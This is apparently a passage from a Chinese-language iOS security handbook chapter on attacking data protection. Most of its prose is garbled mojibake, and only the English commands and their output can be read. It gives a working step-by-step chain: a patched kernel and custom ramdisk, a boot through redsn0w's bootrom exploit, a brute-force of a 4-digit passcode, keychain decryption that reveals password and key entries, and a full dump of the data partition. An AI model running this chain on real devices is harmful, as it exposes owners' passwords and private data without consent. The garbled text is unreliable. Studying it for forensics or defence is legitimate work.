੆ǌᏪþܬఽÿጞѾᄉܬఽऎѶڙ൤۲ᆨʼܘҪ˿iOS᪃ᄧʼԺၸᄉ35ሗቿՁߙቿǌ�

㸼3-3� ᳔ണᚙމϟ䆒໛ᆚⷕ⣰㾷ᯊ䯈˄iPhone 4˅ 

ᆚⷕ䭓ᑺ ໡� ᴖ� ᑺ ᯊ� � 䯈 

4 ஜ18 ߙѫ᧾ 

 19ܸ ߙආˀஜߙ 4

 196ࣱ ߙආˀஜߙ 6

 ࣱʹ75.5 ߙආˀஜߙ 8

 ࣱʹఽ 2700ܬὋߙආˀஜߙ 8

 
ᆉࠪ̅ᙹࠚຈՋߙආˀஜߙᆉᤈᛠஈѣὋ੝̾6ͮ᫁ऎᄉࠚʼࠪܫᆉᄉ᝹ࠚѸतڙԵᑞ˝ځ

Ҧஈѣ౎ឬࣂፂᡛܴुܷ˿ǌʿ᣾ὋఝХఄਥবᄉߙЦஈѣᄉ஌ညԺᑞᰳ३ܲǌ 

3.2.2� iPhone Data Protection Tools 

ၿJean-Baptiste Bjdrune֖Jean SigwaldᎃзᄉiPhone Data Protection Tools௦ʶݒधຸᄉiOSԨ

᝼ࢹХӉǌᤇ̎ࢹХ౎ຸ̅ࠪiOS 4֖iOS 5˖Data ProtectionᄉᤣՓࢹርὋᤆѽၸ˿౼˓ᅻՏᄉ

DFUഴयbootrom໣วڙ᝹ܫʼल࠭ᒬ߿˦ᄉramdisk᪪Ϸǌ὇ស᜸̭ፀᡔ࿜ᄉኃ10ብǌὈ 

iPhone Data Protection Tools͗ၸᒬ߿˦ᄉramdiskल࠭ᄫಕ᝹ܫὋឞramdiskըၸ˿USBᤋ

ଋʼᄉSSH᝺᫇Ὃᤆդథ౥ˠ᝹ܫζোǋࠪ4ͮஜࠚߙᆉᤈᛠᙹҦஈѣὋ̾Ԣᝌࠚጆፑkeybag

὇ݟ౦᝹Ꮅ˿ࠚᆉὋࡂᭉ᜵ᅻ᥊੊࿮ᝌѢࠚᆉὈᄉࢹХǌ߱ᤆԺ̾ၸ౎҃ܬ᝹ܫஜ૵ѫӜᄉԓ

 ᪪Ϸǌݼ

1. ᅝ㺙ᖙ㽕Ꮉ݋ 
ੇ͂ణݝ௦ࣛڙథXcode 4.2὇੊ఝᰳྟఴὈ̾ԢiOS 5 SDKᄉMac OS X Lion὇10.7Ὀ˖Ѹत

iPhone Data Protection Toolsǌϛ᝹;ࣂፂ߶ᜈ˿ᤇ̎Ὃᤆᭉ᜵߶ᜈʶ̎̽֐ᛠࢹХǋጆፑᣃ͇֖

Pythonഴڰ౎Ѹत֖΍ၸiPhone Data Protection Toolsǌ 

 ᭉ᜵ЎѸतឞᄫेὙࡂ;ᄉពὋڙߚ౦ឞᄫेʿݟХ͗ᜁ߶ᜈҁ/usr/local/binǌࢹ࠴ᛠ̽֐̎౼

$ sudo mkdir -p /usr/local/bin 

ଋᅋὋ;ᭉ᜵ʽᣑ֖߶ᜈldidὋᤇ௦˓ၸ౎ಉᄹԢ̼ူܪᆉኣՏ֖ࢥЙᄉEntitlements.plist
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஠͇ᄉࢹ࠴ХὙ 

$ curl -O http://networkpx.googlecode.com/files/ldid 
  % Total    % Received % Xferd  Average Speed    Time   Time   Time  Current 
                                 Dload  Upload    Total  Spent  Left  Speed 
100 32016  100 32016    0     0  91485      0 --:--:-- --:--:-- --:--:-- 123k 
$ chmod a+x ldid 
$ sudo mv ldid /usr/local/bin/ 

ᭉ᜵˝codesign_allocate੣ࡂ౦߶ᜈXcodeௐ;෤థᤤ˖UNIX Development SupportὋݟ

ҮѸतቿՁᩖଋ὇symlinkὈὙ 

$ sudo ln -s 
/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/codesign_allocate \ 
    /usr/local/bin/ 

˝˿νஇࣂፂڙߚᄉramdiskὋiPhone Data Protection ToolsӉդ˿FUSE஠͇ጆፑὋᤇሗ஠͇

ጆፑԺ̾ူᝌiOS˖IMG3ಪयᄉ͇ڌ஠͇ǌݟ౦ጆፑ˖࠺ల߶ᜈMacFUSE੊OSXFuseὋឯ߶ᜈణ

ளྟఴᄉ OSXFuse ὚ځ˝ˀ MacFUSE ᄰඊὋ߱ॆґᑞ३ҁఝݝᄉஂ૆ǌܷࠑԺ̯̾

http://osxfuse.github.comʽᣑ֖߶ᜈOSXFuseὋ੊௦ѽၸݟʽ੝ᤗᄉ̽֐ᛠὙ 

$ curl -O -L https://github.com/downloads/osxfuse/osxfuse/OSXFUSE-2.3.8.dmg 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time   Current 
                                 Dload  Upload   Total   Spent    Left   Speed 
100 4719k  100 4719k    0     0  1375k      0  0:00:03  0:00:03 --:--:-- 1521k 
$ hdiutil mount OSXFUSE-2.3.8.dmg 
Checksumming Gesamte Disk (Apple_HFS : 0)č 

............................................................................... 
        Gesamte Disk (Apple_HFS : 0): verified   CRC32 $D1B1950D 
verified  CRC32 $09B79725 
/dev/disk1                                          /Volumes/FUSE for OS X 
$ sudo installer -pkg /Volumes/FUSE\ for\ OS\ X/Install\ OSXFUSE\ 2.3.pkg \ 
  -target / 
installer: Package name is FUSE for OS X (OSXFUSE) 
installer: Installing at base path / 
installer: The install was successful. 
$ hdiutil eject /Volumes/FUSE\ for\ OS\ X/ 
"disk1" unmounted. 
"disk1" ejected. 

iPhone Data Protection ToolsᄉPythonᑭఴᭉ᜵ၸPython Cryptography Toolkit὇PyCryptoὈᝌ

 _Ժ̾΍ၸPythonᄉeasyࠑ᪪Ϸ̾ԢԩData Protectionγએᄉ஠͇੊keychainᮉǌܷ͇ڌࠚ

install̽֐ঋᤳ߶ᜈឞंǌःឞ૊ཱݟʽழयᤈᛠ߶ᜈὋ̾ᆷγ߱Վௐஂ૆32֖ͮ64ͮᄉx86

౵ౝǌ 

$ sudo ARCHFLAGS='-arch i386 -arch x86_64' easy_install pycrypto 
Searching for pycrypto 
Reading http://pypi.python.org/simple/pycrypto/ 
Reading http://pycrypto.sourceforge.net 
Reading http://www.amk.ca/python/code/crypto 
Reading http://www.pycrypto.org/ 
Best match: pycrypto 2.5 
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Downloading http://ftp.dlitz.net/pub/dlitz/crypto/pycrypto/pycrypto-2.5.tar.gz 
Processing pycrypto-2.5.tar.gz 
[...] 
Installed /Library/Python/2.7/ 
site-packages/pycrypto-2.5-py2.7-macosx-10.7-intel. 
egg 
Processing dependencies for pycrypto 
Finished processing dependencies for pycrypto 

ᤇ̎Pythonᑭఴᤆᭉ᜵ʶ̎Ф̴ᄉጥPythonंὙM2CryptoǋConstruct֖ProgressBarǌܷࠑः

ឞ΍ၸeasy_install̽֐߶ᜈᤇ̎ंǌ 

$ sudo easy_install M2crypto construct progressbar 
Searching for M2crypto 
Reading http://pypi.python.org/simple/M2crypto/ 
Reading http://wiki.osafoundation.org/bin/view/Projects/MeTooCrypto 
Reading http://www.post1.com/home/ngps/m2 
Reading http://sandbox.rulemaker.net/ngps/m2/ 
Reading http://chandlerproject.org/Projects/MeTooCrypto 
Best match: M2Crypto 0.21.1 
Downloading http://chandlerproject.org/pub/Projects/MeTooCrypto/M2Crypto-0.21.1- 
  py2.7-macosx-10.7-intel.egg 
 
[...] 
Installed /Library/Python/2.7/site-packages/M2Crypto-0.21.1-py2.7-macosx-10.7- 
  intel.egg 
Processing dependencies for M2crypto 
Finished processing dependencies for M2crypto 
Searching for construct 
Reading http://pypi.python.org/simple/construct/ 
Reading https://github.com/MostAwesomeDude/construct 
Reading http://construct.wikispaces.com/ 
Best match: construct 2.06 
Downloading http://pypi.python.org/packages/source/c/construct/ 
  construct-2.06.tar.gz#md5=edd2dbaa4afc022c358474c96f538f48 
[...] 
Installed /Library/Python/2.7/site-packages/construct-2.06-py2.7.egg 
Processing dependencies for construct 
Finished processing dependencies for construct 
Searching for progressbar 
Reading http://pypi.python.org/simple/progressbar/ 
Reading http://code.google.com/p/python-progressbar/ 
Reading http://code.google.com/p/python-progressbar 
Best match: progressbar 2.3 
Downloading http://python-progressbar.googlecode.com/fi les/ 
  progressbar-2.3.tar.gz 
[...] 
Installed /Library/Python/2.7/site-packages/progressbar-2.3-py2.7.egg 
Processing dependencies for progressbar 
Finished processing dependencies for progressbar 

ణՐὋ˝˿ʽᣑiPhone Data Protection ToolsణளྟὋ;ᭉ᜵߶ᜈMercurialຸ̼ᆉክူጆፑǌ

 ͺǌࢹ੆ᤇʶ߸̽֐ʽழयၸeasy_installݟԺ̾૊ཱ˶ࠑܷ

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



46� � ኃ 3 ብ� Ҫ� �  ࠚ

 

$ sudo easy_install mercurial 
Searching for mercurial 
Reading http://pypi.python.org/simple/mercurial/ 
Reading http://mercurial.selenic.com/ 
Reading http://www.selenic.com/mercurial 
Best match: mercurial 2.1 
Downloading http://mercurial.selenic.com/release/mercurial-2.1.tar.gz 
Processing mercurial-2.1.tar.gz 
[...] 
Installing hg script to /usr/local/bin 
 
Installed /Library/Python/2.7/site-packages/mercurial-2.1-py2.7-macosx-10.7- 
  intel.egg 
Processing dependencies for mercurial 
Finished processing dependencies for mercurial 

ᒯ൤Ὃ੝థᄉॸ᜵ࢹХᦏःឞ߶ᜈݝ˿ǌଋʽ౎Ὃੇ͂Ժ̾ʽᣑiPhone Data Protection Tools

ࣲၸ߱Ѹतᒬ߿˦ᄉramdisk˿ǌ 

2. ߯ᓎramdisk 
ʽழयၸMercurial὇hgὈ̯Google codeʽᣑiPhone Data Protection Toolsᄉణݟःឞ૊ཱࠑܷ

ளྟǌ 

$ hg clone https://code.google.com/p/iphone-dataprotection 
destination directory: iphone-dataprotection 
requesting all changes 
adding changesets 
adding manifests 
adding file changes 
added 38 changesets with 1921 changes to 1834 files 
updating to branch default 
121 files updated, 0 files merged, 0 files removed, 0 files unresolved 

ဗڙὋੇ͂ᭉ᜵̯img3fs/ߔᄫेౝतIMG3 FUSE஠͇ጆፑ˿ǌឞFUSE஠͇ጆፑഴڰᝧܷࠑ

Ժ̾ᄯଋેଋiOS͇ڌӉ὇IPSWὈ˖Ӊդᄉ͇ڌᄧ᪪Ϸǌramdiskᄉbuildᑭఴ͗ѽၸᤇ̎᪪Ϸν

இ੝դᄉramdiskὋᏪᤇ̎ramdisk᤯࣡௦ڙሧҮ᝹ܫʼ߶ᜈளྟiOSௐ΍ၸᄉǌ 

$ cd iphone-dataprotection 
$ make -C img3fs 
gcc -o img3fs img3fs.c -Wall -lfuse_ino64 -lcrypto -I/usr/local/include/ 
  osxfuse || gcc -o img3fs img3fs.c -Wall -losxfuse_i64 -lcrypto 
  -I/usr/local/include/osxfuse 
[...] 

ᒯ൤ὋܷࠑᤆःឞʽᣑၿiPhone Dev TeamधԦᄉiOSᡔ࿜ࠃၸࢹХredsn0wǌredsn0wःၸ

Ӊդʶ˓plist஠͇Ὃឞ஠͇դథࣂፂԦ࣊ᄉ੝థiOS͇ڌ᪪ϷᄉᝌࠚࠚᨄὋbuildᑭఴ͗΍ၸ߱ᒬ

ҮᝌࠚЮನ֖ramdiskǌʿˣ˧ՐὋܷࠑᤆ͗΍ၸredsn0wल࠭ᒬ߿˦ᄉramdiskǌ;ःឞ૊ཱݟ

ʽழयʽᣑredsn0wὋࣲѸतૈՓФKeys.plist஠͇ᄉቿՁᩖଋǌ 

$ curl -LO https://sites.google.com/a/iphone-dev.com/files/home/\ 
  redsn0w_mac_0.9.10b5.zip 
  % Total    % Received % Xferd Average  Speed   Time    Time    Time   Current 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



3.2� ࠪஜ૵γએᄉஈѣ� � 47 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

                                Dload   Upload   Total   Spent   Left   Speed 
100 14.8M  100 14.8M    0     0 1375k       0  0:00:11 0:00:11 --:--:-- 1606k 
$ unzip redsn0w_mac_0.9.10b5.zip 
Archive: redsn0w_mac_0.9.10b5.zip 
   creating: redsn0w_mac_0.9.10b5/ 
  inflating: redsn0w_mac_0.9.10b5/boot-ipt4g.command 
  inflating: redsn0w_mac_0.9.10b5/credits.txt 
  inflating: redsn0w_mac_0.9.10b5/license.txt 
  inflating: redsn0w_mac_0.9.10b5/README.txt 
   creating: redsn0w_mac_0.9.10b5/redsn0w.app/ 
   creating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/ 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/Info.plist 
   creating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/ 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/bn.tar.gz 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/bootlogo.png 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/bootlogox2.png 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/Cydia.tar.gz 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/Keys.plist 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/progresslogo.png 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/rd.tar 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/redsn0w 
 extracting: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/PkgInfo 
   creating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/Resources/ 
  inflating: redsn0w_mac_0.9.10b5/redsn0w.app/Contents/Resources/redsn0w.icns 
$ ln -s redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/Keys.plist . 

ဗ͂ੇڙᭉ᜵ၸҁiOS͇ڌఝளᣃ͇ߚು὇IPSWὈὋ࠱Фͺ˝ឞԨ᝼ramdiskᄉഴ౛ǌ˝ᖌ३

ణ·ፆ౦Ὃឯ΍ၸiOS 5ᄉణளྟఴǌᒬ߿˦ᄉramdisk௦ՓՐЩࠓᄉὋ˶Ժ̾ၸ̅߶ᜈ˿ఝ௉ྟ

ఴiOS 4੊iOS 5ᄉ᝹ܫǌݟ౦᜵ڙၸ̅˝iOS᝹ܫӣጞ͇ڌᄉ఺٧ʼѸतឞramdiskὋࡂ᜵̂Ўʽ

ᣑIPSWࣲ࠱Фߚϱڙ˞ᄫेʽǌʿཨὋ;ࡂ᜵ڙredsn0wᄉKeys.plist஠͇˖ಉ੼ඇʶ˓ࣂᅻ

IPSWᄉURLǌੇ ͂᜵ᆷγᒬࣁ΍ၸᄉ௦ˀ੝ၸᆵ͇ۋՁᄰࠪःᄉIPSWǌःឞ࠱ᄰःᄉIPSW҃ܬ

ҁॆґᄫे˖Ὃ̾ݟʽ̼ᆉ੝ᇧ὇ᤇ᧖੝ᇧᄉ̽֐ϛ᝹ܷࠑ௦ڙ˝iPod Touch 4GѸतԨ᝼

ramdiskὈǌឞIPSWᄉ஠͇Տ˖ࡂդథᆵ͇ۋՁᄉՏሥ὇iPod 4,1ὈὋiOSྟఴՁ὇5.0Ὀ֖ Хͳᄉbuild

Ձ὇9A334Ὀǌ 

$ cp ~/Library/MobileDevice/Software\ Images/iPod4,1_5.0_9A334_Restore.ipsw . 

˝˿ᝧឞramdiskൣ࣡ࢹͺὋॸᮋၸνஇ᣾ᄉЮನᤁᛠ߱ǌkernel_patcher.pyᑭఴ͗˝̯

iOS͇ڌఝளIPSWߚು˖ଡԨᄉkernelcache੩ʼᛩʷὋᝧ߱ᤁᛠڙᡔ࿜࿃খʽǌᤇಧϡሄၸ˿̼

ᆉኣՏὋ΍ЮನԺ̾ᤁᛠ͉਒̃ᤈ҃஠͇ǌᬓ൤˧ܰὋ੩᣾ᛩʷᄉЮನ͗Љ᝴ᥦ̎᤯࣡ʿ᝴੯ᛠ

ᄉᛠ˝ǌΒݟὋڙ੩ʼIOAESAcceleratorЮನੰࡘᛩʷ˧ՐὋੇ͂ࡂԺ̾΍ၸUIDࠚᨄҪࠚ੊ᝌ

ᄉIPSWʼᤁᛠࣁᒬڙЮನ߸੆ल࠭Ր௦ʿЉ᝴ᤇಧϡᄉǌ;ःឞڙஜ૵ὋᏪʶᓉৰхʽࠚ

kernel_patcher.pyᑭఴὋѸत੩᣾ᛩʷᄉkernelcache֖ၸ౎Ѹतᒬ߿˦ramdiskᄉshellᑭఴǌ

ឯซ਒੝Ѹतᑭఴᄉ஠͇ՏὋځ˝಩૵iOS᝹ܫᆵ͇ۋՁᄉʿՎὋᤇ̎஠͇Տ௦ʿՎᄉǌ 

$ python python_scripts/kernel_patcher.py iPod4,1_5.0_9A334_Restore.ipsw 
Decrypting kernelcache.release.n81 
Unpacking ... 
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Doing CSED patch 
Doing getxattr system patch 
Doing _PE_i_can_has_debugger patch 
Doing IOAESAccelerator enable UID patch 
Doing AMFI patch 
Patched kernel written to kernelcache.release.n81.patched 
Created script make_ramdisk_n81ap.sh, you can use it to (re)build the ramdisk 

kernel_patcher.pyᑭఴ͗ѸतՏ˝make_ramdisk_n81ap.shᄉᑭఴὋၸ߱౎Ѹतᒬ߿

˦ramdiskǌݟ౦;΍ၸᄉ௦ၸ̅Ф̴ۋՁiOS᝹ܫᄉIPSWὋᑭఴᄉՏሥԺᑞ͗థ̎᝴ʿՎǌဗڙὋ

ੇ͂ःឞᤁᛠឞᑭఴὋѸतԨ᝼ramdiskὙ 

$ sh make_ramdisk_n81ap.sh 
Found iOS SDK 5.0 
[...] 
Downloading ssh.tar.gz from googlecode 
  % Total    % Received % Xferd  Average Speed   Time   Time   Time 
                                 Dload  Upload   Total  Spent  Left 
100 3022k  100 3022k    0      0 1670k      0  0:00:01 0:00:01 --:--:-- 
Archive:  iPod4,1_5.0_9A334_Restore.ipsw 
  inflating: 018-7923-347.dmg 
TAG: TYPE OFFSET 14 data_length:4 
TAG: DATA OFFSET 34 data_length:104b000 
TAG: SEPO OFFSET 104b040 data_length:4 
TAG: KBAG OFFSET 104b05c data_length:38 
KBAG cryptState=1 aesType=100 
TAG: KBAG OFFSET 104b0a8 data_length:38 
TAG: SHSH OFFSET 104b10c data_length:80 
TAG: CERT OFFSET 104b198 data_length:794 
Decrypting DATA section 
Decrypted data seems OK : ramdisk 
/dev/disk1                                                   /Volumes/ramdisk 
"disk1" unmounted. 
"disk1" ejected. 
myramdisk.dmg created 
You can boot the ramdisk using the following command (fi x paths) 
redsn0w -i iPod4,1_5.0_9A334_Restore.ipsw -r myramdisk.dmg \ 
  -k kernelcache.release.n81.patched 

 ramdiskǌ˦߿ʽʶᓫ˖Ὃੇ͂͗΍ၸredsn0wल࠭ѷѷѸतᄉᒬڙ

3. ᓩᇐramdisk 
ဗڙὋੇ͂Ժ̾΍ၸredsn0wल࠭ᒬ߿˦ramdisk˿ǌੇ͂᜵̯̽֐ᛠᤁᛠredsn0wὋࣲૈ

 ҁIPSWǋramdisk֖੩᣾ᛩʷᄉЮನᄉ߸Кᡸफ़ǌ߿

$ ./redsn0w_mac_0.9.10b5/redsn0w.app/Contents/MacOS/redsn0w -i 
iPod4,1_5.0_9A334_Restore.ipsw -r myramdisk.dmg \ 
  -k kernelcache.release.n81.patched 

2੝ᇧᄉૈ̽ǌ-3ڎݟᤁᛠredsn0wௐὋ߱͗᡹᣾ࣰ࣡ᄉध఺ႆ᭦ὋࣲበԀ௬ᇧ̽֐ၸ̾ʼڙ

ᤇ᧖Ὃܷڙ ݟ౦ᅻ᥊ݟ᤯᣾USBଋԯᤋଋҁᤁᛠᅋredsn0wᄉ᝟ኪ఺ʼǌܫःឞᆷγᄫಕiOS᝹ࠑ

ʹઁ᝹ܫᎵ˝DFUഴयὋဗࡂ;ڙԺ̾Ү੣˿὚redsn0w͗ࠪ൤ᤈᛠ೜฽ࣲᒬҮल࠭ឞramdiskǌ 
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�2-3ڎ Ꮅ˝DFUഴयὋឯཁѣNext૊ᨍὋܫ᝹࠱ʹݟ౦ᭉ᜵˿ᝌݟ

ᝧredsn0wʶ൥൥ल࠭;߸੆ᤇʶ᣾ር 

ʶெ᝹̅ܪܫDFUഴयὋredsn0w͗ࡂፘ፝ѽၸBoot ROM˖ᄉʶ˓ࣂᅻ໣วὋࣲซЙ߱ᒬ

఺٧ᆉథ஌ᣑᕲǌᤇ̎థ஌ᣑᕲ͗ሄၸᬣՐल࠭᫼ൿᄉኣՏᰍ᝼Ὃࣲݼᄉԓࣁ Љ᝴΍ၸలኣՏ੊

లൣᆷኣՏᄉЮನ֖ramdiskल࠭ጆፑǌᤇԵ௦ఆௐᡔ࿜᝹ܫὋᝧiPhone Data Protection Toolsल࠭

ᒬ߿˦ramdiskὋࣲၸ̯߱ᄫಕ᝹ܫᖌԨஜ૵ǌ 

ឞᒬ߿˦ramdiskӉդ˿SSHనҫ٧Ὃၸ̅ࠪ᝹ܫᄉᤉር̽֐ᛠ᝺᫇ǌ᜵ᤋଋҁឞSSHనҫ٧Ὃ

;ᭉ᜵ύүUSBӨᝫ̼ူᄉᎩፎᤋଋǌᔰ౦ᄉMobileDeviceಳ౵὇Mac OS XᒬࣛὋᏪ˄Ժ̾᤯᣾

WindowsྟᄉiTunes߶ᜈὈդథusbmuxdՐԻߵએᤈርǌឞߵએᤈርክူᅋఴ఺ᣃ͇ࠪiOS᝹ܫ

USBӨᝫᄉ᝺᫇ǌឞӨᝫᄉʶ˓ҩᑞ௦ڙUSBӨᝫ֖ఴڠΝեiOS᝹ܫᄉTCPݒଋߙ˧ᫍतበTCP

ဗܲሗҩᑞὋʿ᣾ᤇʶҩᑞᤆԺ̾ၸ౎ᤋଋҁᡔ࿜੊ఆௐᡔࠃᤋଋǌiTunes͗ѽၸᤇʶཁߙଋݒ

࿜ᄉiOS᝹ܫʼᤁᛠᄉᒬ߿˦ᣃ͇ǌڙᤇ᧖Ὃੇ͂᜵ѽၸឞҩᑞὋ᤯᣾ᤁᛠՏ˝tcprelay.shᄉ

shellᑭఴᤋଋԨ᝼ramdiskʼᤁᛠᄉSSHనҫ٧ǌ 

$ sh tcprelay.sh 
Forwarding local port 2222 to remote port 22 
Forwarding local port 1999 to remote port 1999 
[ ... ] 

੝ӉդᄉॡܲPythonᑭఴᦏ᜵Ιᠺ᤯᣾SSH᝺᫇ᄫಕ᝹ܫᄉᑞҦὋ੝̯̾ڙ᝹ܫᖌԨஜ૵ௐὋ

;᜵ڙԲʶ˓ጻቪᤤᮉӴ੊ቓԯ˖γ૆tcprelay.sh̅ܪᤁᛠ࿃খǌ 

4. ᇍ4ԡ᭄ᄫᆚⷕ䖯㸠㳂࡯ᬏߏ 
᜵ᝌࠚkeychain੊஠͇ጆፑ˖ԩγએᄉᮉὋੇ͂ࡂᭉ᜵ুࣲܬᝌࠚጆፑkeybagǌݟ౦ల᝹Ꮅ

Хࢹᆉ˿ǌࠚᭉ᜵࿮ᝌࡂᆉὋࠚߙ౦ၸਖ਼᝹Ꮅ˿ኤӬᄉ4ͮஜݟǌࠚ௛ᝌࠓᆉὋᥦ˥keybagॡࠚ
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Ӊ˖Տ˝demo_bruteforce.pyᄉPythonᑭఴԺ̾੯ᛠᤇʶஈѣὋࣲ ԾᄉௐᫍЮ࿮ᝌࢺ᧾20ѫڙ

͉ʹ4ͮஜࠚߙᆉǌԵథڙ᤯᣾SSHᤋଋҁiOS᝹ܫᄉႂᑧʼᤁᛠឞᑭఴὋࣲᝌࠚጆፑkeybagՐὋ

ੇ͂੥Ժ̾ᣀϱkeychainǌ 

$ python python_scripts/demo_bruteforce.py 
Device UDID : e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a 
Keybag: SIGN check OK 
Keybag UUID : 11d1928f9a1f491fb87fb9991b1c3ec6 
Saving /Users/admin/Desktop/iphonedataprotection/ 
e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/9dd7912fb6f996e9.plist 
passcodeKeyboardComplexity : {'rangeMinimum': 0, 'value': 0, 
  'rangeMaximum': 2} 
Trying all 4-digits passcodes... 
BruteforceSystemKeyBag : 0:03:41.735334 
{'passcode': '1234', 'passcodeKey': 
'497ea264862390cc13a9eebc118f7ec65c80192787c6b3259b88c62331572ed4'} 
True 
Keybag type : System keybag (0) 
Keybag version : 3 
Class  WRAP  Type    Key 
1      3     0 
  f2680d6bcdde71a1fae1c3a538e7bbe0f0495e7f75831959f10a41497675f490 
2      3     1 
  01133605e634ecfa168a3371351f36297e2ce599768204fd5073f8c9534c2472 
3      3     0 
  cbd0a8627ad15b025a0b1e3e804cc61df85844cadb01720a2f282ce268e9922e 
5      3     0 
  75a657a13941c98804cb43e395a8aebe92e345eaa9bc93dbe1563465b118e191 
6      3     0 
  e0e4e1396f7eb7122877e7c307c65221029721f1d99f855c92b4cd2ed5a9adb1 
7      3     0 
  a40677ed8dff8837c077496b7058991cc1200e8e04576b60505baff90c77be30 
8      1     0 
  2d058bf0800a12470f65004fecaefaf86fbdfdb3d23a4c900897917697173f4c 
9      3     0 
  98640c771d020cc1756c73ae87e686e5c170f794987d217eeca1616d0e9028d 
10     3     0 
  661a4670023b754853aa059a79d60dbb77fc3e3711e5a1bd890f218c33e7f64c 
11     1     0 
  669964beb0195dfa7207f6a976bf6849c0886de12bea73461e93fa274ff196a4 
 
Saving /Users/admin/Desktop/iphone-dataprotection/ 
  e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/9dd7912fb6f996e9.plist 
Downloaded keychain database, use keychain_tool.py to decrypt secrets 

ܫᜁʽᣑҁ̾ᄫಕ᝹͗ࡂᆉὋጆፑkeybag֖keychainஜ૵ंࠚ˿ᆉ੊Ꮷ࿮ᝌѢࠚ౦ల᝹Ꮅݟ

UDID֐Տᄉᄫेǌ 

5. 䕀ټkeychain 
ဗࣂ͂ੇڙፂুܬ˿ጆፑkeybag֖͊ܫᄉkeychainὋଋᅋԺ̾΍ၸkeychain_tool.pyᑭఴ

ᝌࠚkeychain˿ǌឞᑭఴХథᔩ࣯˓ᤤᮉὋࣲ˄᜵යkeychain֖͊ܫጆፑkeybagᄉᡸफ़ˀ
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demo_bruteforce.pyγ͂߱ߚᄉᡸफ़ʶᒰǌΒݟὋ-d֖-sᤤᮉᄉͺၸ௦ᣀϱkeychain్ᄫࣲၸ

௠ՁᬤԜࠚᆉᄉᦉѫЮࠓǌʽ᭦ࡘᇧ˿ᤁᛠឞᑭఴᄉᣤѢᇧΒὙ 

$ python python_scripts/keychain_tool.py \ 
  ̢ds e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/keychain-2.db \ 
  e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/9dd7912fb6f996e9.plist 
Keybag: SIGN check OK 
Keybag unlocked with passcode key 
Keychain version : 5 
------------------------------------------------------------ 
                    Passwords 
------------------------------------------------------------ 
Service :    AirPort 
Account :    MyHomeNetwork 
Password :   ab****** 
Agrp : apple 
------------------------------------------------------------ 
Service :    com.apple.managedconfiguration 
Account :    Private 
Password :   <binary plist data> 
Agrp : apple 
------------------------------------------------------------ 
Service :    com.apple.certui 
Account :    https: simba.local - 446c9ccd 6ef09252 f3b4e55d 4df16dd3 [...] 
Password :   <binary plist data> 
Agrp : com.apple.cfnetwork 
------------------------------------------------------------ 
Service :    com.apple.certui 
Account :    https: simba.local - 46c14e20 b83a2cef 86340d38 0720f560 [...] 
Password :   <binary plist data> 
Agrp : com.apple.cfnetwork 
------------------------------------------------------------ 
Service :    push.apple.com 
Account : 
Password :   <b******************************************************* 
Agrp : com.apple.apsd 
------------------------------------------------------------ 
Service :    com.apple.managedconfiguration.mdm 
Account :    EscrowSecret 
Password :   1E********************************** 
Agrp : apple 
------------------------------------------------------------ 
                     Certificates 
------------------------------------------------------------ 
D62C2C53-A41E-4E2C-92EE-C516D7DCDE30_apple 
Device Management Identity Certifi cate_com.apple.identities 
E60AC2D7-D1DE-4A98-92A8-1945A09B3FA2_com.apple.apsd 
E60AC2D7-D1DE-4A98-92A8-1945A09B3FA2_lockdown-identities 
com.apple.ubiquity.peer-uuid.68C408A0-11BD-437E-A6B7- 
A6A2955A2F28_[...] 
iOS Hackers Inc._com.apple.certificates 
iPhone Configuration Utility (6506EBB9-3A1A-42A2-B3ED-8CDA5213EEB2) 
------------------------------------------------------------ 
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                     Private keys 
D62C2C53-A41E-4E2C-92EE-C516D7DCDE30_apple 
Device Management Identity Certificate_com.apple.identities 
E60AC2D7-D1DE-4A98-92A8-1945A09B3FA2_com.apple.apsd 
E60AC2D7-D1DE-4A98-92A8-1945A09B3FA2_lockdown-identities 
com.apple.ubiquity.peer-uuid.68C408A0-11BD-437E-A6B7-A6A2955A2F28.[...] 
------------------------------------------------------------ 

6. 䕀ټ᭄᥂ߚऎ 
˝˿ᤈᛠК᭦ᄉԨ᝼ѫౡὋੇ ͂ःឞᣀϱஞ˓ஜ૵ѫӜǌឞѫӜ˖Ӊդ˿᝹ܫʼ߶ᜈᄉКᦉ

ःၸԢၸਖ਼ஜ૵ǌలᡔ࿜ᄉiOS᝹ܫᄉጆፑѫӜ௦ԵឳᄉὋᏪ˄ʿդ͉ʹథၸᄉஜ૵ǌ 

૊ཱݟʽழयᤁᛠՏ˝dump_data_partition.shᄉshellᑭఴὋੇ͂ࡂԺ̾३ҁஜ૵ѫӜ

ᄉᇒᄧ᪪Ϸǌ 

$ sh dump_data_partition.sh 
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known 
  hosts. 
root@localhost's password: 
Device UDID : e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a 
Dumping data partition in e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/ 
  data_20120222-1450.dmg ... 
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known 
  hosts. 
root@localhost's password: 
dd: opening `/dev/rdisk0s2s1': No such file or directory 
836428+0 records in 
836428+0 records out 
6852018176 bytes (6.9 GB) copied, 1024.08 s, 6.7 MB/s 
